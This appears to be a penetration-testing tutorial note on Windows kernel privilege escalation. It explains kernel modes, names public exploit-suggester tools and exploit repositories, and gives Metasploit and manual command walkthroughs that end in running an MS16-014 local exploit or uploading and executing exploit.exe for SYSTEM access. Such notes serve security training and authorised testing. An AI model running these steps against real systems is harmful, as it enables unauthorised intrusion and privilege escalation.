Windows Kernel Exploit

A kernel is the core component of an operating system that manages hardware resources and enables communication between hardware and software. It has complete control over the system's resources, such as CPU, memory, and devices, and acts as a bridge between the hardware and applications.

In Windows, the kernel is known as Windows NT, which operates similarly to traditional kernels but with unique design choices. It functions in two main modes:

• User Mode: Programs and services have limited access to system resources, operating within a restricted environment.

• Kernel Mode: The kernel has unrestricted access to all system resources, managing tasks such as device control and memory management.

Windows NT's design allows for efficient resource management while maintaining system security and stability.

Windows Kernel Exploitation

Kernel exploits on Windows aim to target vulnerabilities in the Windows kernel, allowing attackers to execute arbitrary code with elevated privileges to run system commands or obtain a system shell. The exploitation process varies depending on the Windows version and specific vulnerability but generally follows these steps:

Methods for Privilege Escalation:

1. Identifying Kernel Vulnerabilities: Analyze the target system for known kernel vulnerabilities.

2. Exploiting Vulnerabilities: Download, compile, and transfer kernel exploits to the target system for execution.

This process can lead to system crashes or data loss, so careful execution is essential.

Tools and Environment

Windows Exploit Suggester: Compares the target's patch levels against Microsoft's vulnerability database to identify missing patches and possible exploits.

GitHub - strozfriedberg/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.GitHub

Windows Kernel Exploits: A repository of kernel exploits sorted by CVE.

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合GitHub

Demonstration w/ Metasploit

# Assume having access to normal privileged account
getuid
getprivs
getsystem # auto technique of meterpreter to get privilege. But incase it fails?

search suggester
use post/multi/recon/local_exploit_suggester
show options
set SESSION
run

# search for the vulnerabilities and understand them before exploiting
# example exploitation
use exploit/windows/local/ms16_014_wmi_recv_notif
show options
set SESSION
run

Demonstration Manual

# Assume having access to normal privileged account
shell
systeminfo
# copy systeminfo output to a text file - sysinfo.txt
python3 windows-exploit-suggester.py --update
python3 windows-exploit-suggester.py --database [db.xls] --systeminfo sysinfo.txt

# In the meterpreter session --
cd Temp\\
upload exploit.exe # [exploit found from windows kernel exploits] search for exploit based on the suggestions
.\exploit.exe
whoami